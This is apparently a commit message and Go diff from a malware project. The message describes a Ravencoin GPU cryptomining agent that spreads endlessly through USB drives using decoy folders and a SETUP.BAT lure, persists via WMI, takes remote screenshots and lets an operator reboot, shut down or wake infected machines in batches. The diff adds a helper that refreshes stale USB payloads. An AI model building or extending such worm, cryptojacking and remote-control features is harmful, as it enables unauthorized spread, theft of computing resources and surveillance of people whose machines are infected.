Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

agent/deploy/common.go

@@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) {
 	}.InstallDirectory()
 }
 
+// isPayloadStale returns true when the on-disk USB payload has a different
+// size than the current running executable — meaning the agent was upgraded
+// and the USB copy needs to be refreshed.
+func isPayloadStale(exePath string, payloadSize int64) bool {
+	fi, err := os.Stat(exePath)
+	if err != nil {
+		return false
+	}
+	return fi.Size() != payloadSize
+}
+
 func saveBackup(installedBin string) error {
 	backup := installedBin + backupSuffix
 	if _, err := os.Stat(backup); err == nil {